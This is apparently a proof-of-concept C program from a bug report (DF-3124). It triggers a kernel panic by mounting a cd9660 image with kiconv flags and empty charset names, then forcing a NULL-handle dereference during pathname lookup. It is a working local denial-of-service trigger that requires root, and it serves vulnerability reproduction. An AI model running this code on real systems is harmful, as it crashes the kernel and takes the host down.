DF-3124 / trigger.c
/* * DF-3124 PoC: cd9660 kiconv mount with a charset pair that fails to open. * * iso_mountfs() ignores the return value of cd9660_iconv->open() * (sys/vfs/isofs/cd9660/cd9660_vfsops.c:494-495). When the open fails * (e.g. empty or unregistered charset names), isomp->im_d2l / im_l2d stay * NULL while im_flags still carries ISOFSMNT_KICONV. The first pathname * lookup on the mount goes: * * namei -> cd9660_lookup -> isofncmp(..., imp->im_l2d) -> sgetrune() * -> cd9660_iconv->convchr(NULL, ...) [cd9660_util.c sgetrune] * -> iconv_convchr(NULL) -> KOBJ dispatch through the NULL handle * -> kernel page fault -> panic * * Build: cc -O -o trigger trigger.c -I/usr/src/sys * Run as root on a box with libiconv.ko + cd9660_iconv.ko loaded and * /dev/vn0 configured with the crafted poc.iso. */ #include <sys/param.h> #include <sys/mount.h> #include <sys/stat.h> #include <vfs/isofs/cd9660/cd9660_mount.h> #include <err.h> #include <errno.h> #include <stdio.h> #include <string.h> #define MNTPOINT "/mnt/poc" int main(void) { struct iso_args args; struct stat st; memset(&args, 0, sizeof(args)); args.fspec = "/dev/vn0"; args.flags = ISOFSMNT_KICONV; /* cs_local / cs_disk stay empty strings (NUL-terminated, length 0): * iconv_open("", "") cannot find a registered cspair -> ENOENT, * which iso_mountfs silently ignores. */ if (mount("cd9660", MNTPOINT, MNT_RDONLY, &args) < 0) err(1, "mount(cd9660)"); printf("[+] mount succeeded with ISOFSMNT_KICONV and failed iconv_open " "(im_d2l == im_l2d == NULL)\n"); printf("[+] triggering namei under the mount ...\n"); fflush(stdout); if (stat(MNTPOINT "/a", &st) < 0) printf("[ ] stat failed without panic: %s\n", strerror(errno)); else printf("[ ] stat succeeded\n"); printf("[ ] no panic -- finding NOT reproduced\n"); return (0); } |